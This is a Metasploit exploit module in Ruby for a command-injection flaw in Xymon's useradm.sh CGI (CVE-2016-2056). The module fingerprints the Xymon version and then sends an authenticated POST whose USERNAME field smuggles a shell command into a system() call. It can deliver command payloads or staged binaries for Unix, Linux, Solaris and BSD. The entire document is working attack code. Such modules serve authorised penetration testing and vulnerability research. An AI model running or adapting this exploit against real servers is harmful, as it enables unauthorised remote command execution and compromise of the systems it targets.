Xymon 4.3.25 – useradm Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Xymon useradm Command Execution', 'Description' => %q{ This module exploits a command injection vulnerability in Xymon versions before 4.3.25 which allows authenticated users to execute arbitrary operating system commands as the web server user. When adding a new user to the system via the web interface with `useradm.sh`, the user's username and password are passed to `htpasswd` in a call to `system()` without validation. This module has been tested successfully on Xymon version 4.3.10 on Debian 6. }, 'License' => MSF_LICENSE, 'Author' => [ 'Markus Krell', # Discovery 'bcoles' # Metasploit ], 'References' => [ ['CVE', '2016-2056'], ['PACKETSTORM', '135758'], ['URL', 'https://lists.xymon.com/pipermail/xymon/2016-February/042986.html'], ['URL', 'https://www.securityfocus.com/archive/1/537522/100/0/threaded'], ['URL', 'https://sourceforge.net/p/xymon/code/7892/'], ['URL', 'https://www.debian.org/security/2016/dsa-3495'] ], 'DisclosureDate' => '2016-02-14', 'Platform' => %w(unix linux solaris bsd), 'Targets' => [ [ 'Unix CMD', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 2048, 'BadChars' => "\x00\x0A\x0D", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl python netcat php' } } } ], [ 'Linux', { 'Platform' => 'linux', 'Arch' => [ARCH_X86,ARCH_X64], } ], [ 'Solaris', { 'Platform' => 'solaris', 'Arch' => [ARCH_X86] } ], [ 'BSD', { 'Platform' => 'bsd', 'Arch' => [ARCH_X86, ARCH_X64] } ] ], 'Privileged' => false, 'DefaultTarget' => 0)) register_options([ OptString.new('TARGETURI', [ true, 'The base path to Xymon secure CGI directory', '/xymon-seccgi/' ]), OptString.new('USERNAME', [true, 'The username for Xymon']), OptString.new('PASSWORD', [true, 'The password for Xymon']) ]) end def user datastore['USERNAME'] end def pass datastore['PASSWORD'] end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'useradm.sh'), 'authorization' => basic_auth(user, pass) }) unless res vprint_status "#{peer} - Connection failed" return CheckCode::Unknown end if res.code == 401 vprint_status "#{peer} - Authentication failed" return CheckCode::Unknown end if res.code == 404 vprint_status "#{peer} - useradm.sh not found" return CheckCode::Safe end unless res.body.include?('Xymon') vprint_status "#{peer} - Target is not a Xymon server." return CheckCode::Safe end version = res.body.scan(/>Xymon ([\d\.]+)</).flatten.first unless version vprint_status "#{peer} - Could not determine Xymon version" return CheckCode::Detected end vprint_status "#{peer} - Xymon version #{version}" if Gem::Version.new(version) >= Gem::Version.new('4.3.25') return CheckCode::Safe end CheckCode::Appears end def execute_command(cmd, opts = {}) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'useradm.sh'), 'method' => 'POST', 'authorization' => basic_auth(user, pass), 'vars_post' => Hash[{ 'USERNAME' => "';#{cmd} & echo '", 'PASSWORD' => '', 'SendCreate' => 'Create' }.to_a.shuffle] }, 5) return if session_created? unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code == 401 fail_with(Failure::NoAccess, 'Authentication failed') end unless res.code == 500 fail_with(Failure::Unknown, 'Unexpected reply') end print_good "#{peer} - Payload sent successfully" res end def exploit unless [Exploit::CheckCode::Detected, Exploit::CheckCode::Appears].include?(check) fail_with Failure::NotVulnerable, 'Target is not vulnerable' end if payload.arch.first == 'cmd' execute_command(payload.encoded) else execute_cmdstager(linemax: 1_500) end end end |